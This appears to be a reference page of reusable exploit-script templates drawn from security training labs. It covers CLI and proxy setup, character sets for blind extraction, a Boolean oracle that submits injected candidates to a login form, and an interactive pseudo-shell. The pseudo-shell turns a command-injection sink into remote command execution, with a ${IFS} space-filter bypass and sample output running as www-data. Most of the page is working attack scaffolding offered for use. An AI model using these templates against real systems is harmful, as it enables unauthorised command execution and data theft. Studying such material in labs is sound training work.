Scaffolding
Reusable exploit-script foundations: command-line arguments, a requests.Session, standard character sets, request validation, Boolean oracles, status output, and a command loop.
CLI args — argparse (full template + conditional proxy)
argparse.ArgumentParser defines the accepted command-line options, converts their text values into the selected Python types, and stores the parsed results in args. The target is required. The proxy is optional and produces an empty PROXIES dictionary when omitted, which allows the same request calls to run with or without Burp.
import requests
import urllib3
import argparse
import sys
from colorama import Fore, init
init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser(
description="Description of what this exploit does.",
epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080]")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
args = parser.parse_args()
PROXY = args.proxy
if PROXY is not None:
PROXY = PROXY.strip()
PROXIES = {
"http": PROXY,
"https": PROXY
}
else:
PROXIES = {}
URL = args.target.rstrip("/").strip()
if __name__ == "__main__":
s = requests.Session()Find by: command line, arguments, args, flags, parameters, options, argparse, cli, target, proxy, boilerplate, starter, template, colorama, colored output · Source: CWEE/many
Common charsets — printable, flag, hex
An extraction character set is the ordered sequence of candidates tested at each unknown position. A linear search performs at most secret length * charset size oracle calls, so a smaller accurate set reduces extraction time.
The smallest charset matching the target data reduces extraction time, but an excessively narrow charset can make punctuation silently terminate extraction. string.printable contains whitespace controls at the end (\t, \n, \r, etc.), so string.ascii_letters + string.digits + string.punctuation + " " is usually the better keyboard-typable set. If no character extends the prefix, the result should be reported as charset exhaustion rather than completion unless a known terminator was matched.
import string
FLAG_CHARSET = string.ascii_letters + string.digits + "{}_-!"
PRINTABLE_CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
HEX_CHARSET = string.hexdigits.lower()Find by: charset, printable, punctuation, flag charset, blind extraction, brute force, keyboard characters, ascii, hex, charset exhaustion
Safe request — inline try/except + positive response check
The request call remains inside its own try block. A transport exception prints the operation that failed and exits before later code attempts to use an unassigned response variable. verify=False, timeout=10, and proxies=PROXIES apply the same TLS, timeout, and proxy behavior to the request.
Transport success only means that an HTTP response arrived. The separate response check uses an application-specific marker that appears only after the intended operation succeeds.
try:
r = s.post(url=f"{URL}/login", data=data, verify=False, timeout=10, proxies=PROXIES)
except Exception as e:
print(f"[-] {Fore.RED}Could not make login request: {e}")
sys.exit(1)
# validate the response before trusting it
if "Profile Management" not in r.text:
print(f"[-] {Fore.RED}Wrong credentials.")
sys.exit(1)
print(f"[+] {Fore.LIGHTGREEN_EX}Successfully logged in!")Find by: session, safe request, try except, generic catch, error handling, timeout, sys.exit, response validation, success marker, colorama, get, post · Source: CWEE/many
Oracle shape — transport separate from truth test
An oracle converts target behavior into one reliable bit: Python True or False. Keeping transport and classification separate makes the boundary explicit.
send_candidate() accepts the candidate string, places it in the request field that reaches the sink, and returns the HTTP response object. oracle() calls that transport function and checks a positive marker that proves the injected condition was true. A test such as FALSE_STRING not in r.text also classifies unrelated errors and changed response pages as true unless additional checks rule them out.
TRUE_STRING = "Login Successful"
def send_candidate(s, candidate):
data = {
"username": candidate,
"password": "x"
}
r = s.post(url=f"{URL}/login", data=data, verify=False, timeout=10, proxies=PROXIES)
return r
def oracle(s, candidate):
try:
r = send_candidate(s, candidate)
except Exception as e:
print(f"[-] {Fore.RED}Request failed: {e}")
sys.exit(1)
is_true = r.status_code == 200 and TRUE_STRING in r.text
return is_trueFind by: oracle, positive marker, response sanity check, blind extraction, transport wrapper, true string, false positive, request helper
Colored status output — colorama (Fore + autoreset)
init(autoreset=True) configures Colorama once at startup. After each print, the terminal color returns to its default instead of continuing into later output. Fore.<COLOR> inserts the terminal control sequence for the selected foreground color. [+] marks a confirmed success, [-] marks failure, and progress messages have no bracketed marker.
from colorama import Fore, init
init(autoreset=True) # reset color after each print -- no manual Style.RESET_ALL
print(f"[+] {Fore.LIGHTGREEN_EX}Success -- step worked")
print(f"[-] {Fore.RED}Failure -- bail here")
print(f"{Fore.CYAN}Info / progress")Find by: colorama, colored output, terminal color, fore, red, green, cyan, status, autoreset, ansi, print, progress, init, windows · Source: CWEE/many
Interactive command loop — single-shot exec to pseudo-shell
A single-shot primitive executes one command per trigger request. Placing it behind an input() loop creates a pseudo-shell: an interactive command prompt implemented by repeated application requests rather than by one persistent shell process.
send() places the command in the target-specific form field, header, JSON object, query parameter, or other input that reaches the sink. fetch_output() reads the result from the original response or polls a separate out-of-band endpoint. Because each iteration commonly starts a new shell process, state-changing shell builtins such as cd do not normally persist into the next command.
${IFS} is the shell’s Internal Field Separator variable. Replacing spaces with ${IFS} preserves argument boundaries only when the command reaches a shell that performs variable expansion. The delay between delivery and output retrieval is required only when execution or the callback is asynchronous. KeyboardInterrupt and EOFError represent Ctrl-C and Ctrl-D at the prompt.
import requests
import urllib3
import sys
import time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
URL = "http://target"
PROXIES = {}
def send(s, cmd):
# wire the injection sink here; cmd arrives already space-escaped
data = {"field": f"benign;{cmd};#"}
s.post(url=f"{URL}/sink", data=data, verify=False, proxies=PROXIES, timeout=10)
def fetch_output(s):
# read the result: in-band response body, or poll an OOB endpoint
r = s.get(url=f"{URL}/result", verify=False, proxies=PROXIES, timeout=10)
response_text = r.text
return response_text
def shell(s):
while True:
cmd = input("> ").strip()
if not cmd:
continue
cmd = cmd.replace(" ", "${IFS}") # optional: space-filter bypass
send(s, cmd)
time.sleep(1) # optional: let an async/OOB sink land
print(fetch_output(s))
if __name__ == "__main__":
s = requests.Session()
try:
shell(s)
except (KeyboardInterrupt, EOFError):
print("\n[-] interrupted")
sys.exit(0)Example output
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
> hostname
target-box
> ^C
[-] interruptedFind by: interactive shell, pseudo shell, pseudo-shell, command loop, repl, prompt loop, input loop, while true input, run commands interactively, turn exec into shell, single shot to shell, blind rce shell, keyboardinterrupt, ctrl-c, ctrl-d, eof, send and fetch, sink wrapper, oob shell · Source: HTB/VoidWhispers